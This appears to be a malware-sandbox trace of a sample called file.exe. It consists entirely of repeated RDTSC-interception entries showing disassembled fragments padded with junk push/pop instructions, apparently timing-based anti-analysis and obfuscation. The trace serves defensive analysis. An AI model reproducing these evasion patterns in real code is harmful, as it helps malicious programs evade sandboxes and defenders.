Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB0A7 second address: FAB0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B99h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38DF2 second address: F38DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38DF8 second address: F38DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38DFC second address: F38E06 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD31CE6EAA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38E06 second address: F38E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA50D second address: FAA533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007FD31CE6EAA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA98A second address: FAA992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA992 second address: FAA99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA99C second address: FAA9AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FD31CD42B86h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAC71 second address: FAAC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAC75 second address: FAAC79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB13A9 second address: FB13AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0134 second address: FB015E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD31CD42B86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD31CD42B92h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007FD31CD42B86h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB015E second address: FB0189 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FD31CE6EAB5h 0x0000000c pop ecx 0x0000000d jnp 00007FD31CE6EAB2h 0x00000013 jbe 00007FD31CE6EAA6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0617 second address: FB061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB061B second address: FB0630 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFD2F second address: FAFD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B8Fh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFD46 second address: FAFD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007FD31CE6EAA6h 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0FF3 second address: FB1011 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Fh 0x00000007 jnc 00007FD31CD42B86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1011 second address: FB1017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1017 second address: FB1022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD31CD42B86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1022 second address: FB1049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CE6EAB2h 0x00000009 jmp 00007FD31CE6EAB1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7BFB second address: FB7BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7BFF second address: FB7C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82474 second address: F8248C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82707 second address: F8270B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8270B second address: F82728 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FD31CD42B8Dh 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83258 second address: F83284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 mov dword ptr [esp], eax 0x0000000b lea eax, dword ptr [ebp+12495DD2h] 0x00000011 xor dword ptr [ebp+124839A7h], edx 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD31CE6EAB2h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83284 second address: F8328A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8328A second address: F832DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, 66B0BE2Eh 0x00000013 lea eax, dword ptr [ebp+12495D8Eh] 0x00000019 sub dword ptr [ebp+122D29EFh], ecx 0x0000001f nop 0x00000020 push ecx 0x00000021 je 00007FD31CE6EAB0h 0x00000027 pop ecx 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD31CE6EAB6h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F832DE second address: F832E8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F832E8 second address: F630A2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD31CE6EAACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FD31CE6EAA8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 sub dl, 0000000Bh 0x00000028 mov dx, bx 0x0000002b call dword ptr [ebp+122D34ECh] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD31CE6EAB5h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F630A2 second address: F630AC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD31CD42B86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F630AC second address: F630B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7469 second address: FB746D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7707 second address: FB770D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE043 second address: FBE059 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE059 second address: FBE05E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE05E second address: FBE064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE064 second address: FBE070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD31CE6EAA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44A0D second address: F44A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2793 second address: FC27B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27B0 second address: FC27BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27BA second address: FC27C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27C0 second address: FC27D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B90h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27D4 second address: FC2810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD31CE6EAB4h 0x0000000e jng 00007FD31CE6EABFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2810 second address: FC282F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B99h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC29CC second address: FC29D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2CAE second address: FC2CCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2CCC second address: FC2CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2CD0 second address: FC2CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2CD6 second address: FC2CDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3165 second address: FC3169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3169 second address: FC317E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC32EC second address: FC3304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FD31CD42B91h 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3304 second address: FC3309 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3309 second address: FC3320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD31CD42B8Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC345C second address: FC346B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FD31CE6EAA6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC346B second address: FC34A3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD31CD42B94h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop ecx 0x0000000b jnc 00007FD31CD42B8Ch 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD31CD42B8Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC34A3 second address: FC34A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC34A7 second address: FC34B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC34B0 second address: FC34B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6C37 second address: FC6C42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6C42 second address: FC6C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007FD31CE6EAA6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC69AA second address: FC69AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC907F second address: FC9083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8C3F second address: FC8C4E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8C4E second address: FC8C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAB8h 0x00000009 popad 0x0000000a push edi 0x0000000b jp 00007FD31CE6EAA6h 0x00000011 pop edi 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F414E7 second address: F414F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 je 00007FD31CD42B86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F414F3 second address: F414F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F414F7 second address: F414FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD12E second address: FCD136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD431 second address: FCD439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD6C1 second address: FCD6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CE6EAAFh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2399 second address: FD239F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD239F second address: FD23A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD23A3 second address: FD23A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD23A7 second address: FD23B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAACh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD269D second address: FD26A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD349E second address: FD34BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD31CE6EAB7h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD34BF second address: FD34C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD34C3 second address: FD34C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD34C7 second address: FD34E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD31CD42B93h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DA8 second address: FD6DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DAC second address: FD6DBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DBE second address: FD6DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 jc 00007FD31CE6EABFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DCC second address: FD6DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DEC second address: FD6DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DF0 second address: FD6E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FD31CD42B8Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6E07 second address: FD6E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD31CE6EAA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD31CE6EAB5h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6E2B second address: FD6E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FD31CD42B86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDC41 second address: FDDC45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDF5E second address: FDDF71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CD42B8Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDF71 second address: FDDF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDF7A second address: FDDF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE52A second address: FDE55E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAAEh 0x00000007 js 00007FD31CE6EAA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007FD31CE6EAAAh 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD31CE6EAAEh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE55E second address: FDE562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE562 second address: FDE57B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE57B second address: FDE592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FD31CD42B8Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE592 second address: FDE59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD31CE6EAA6h 0x0000000a popad 0x0000000b rdtsc
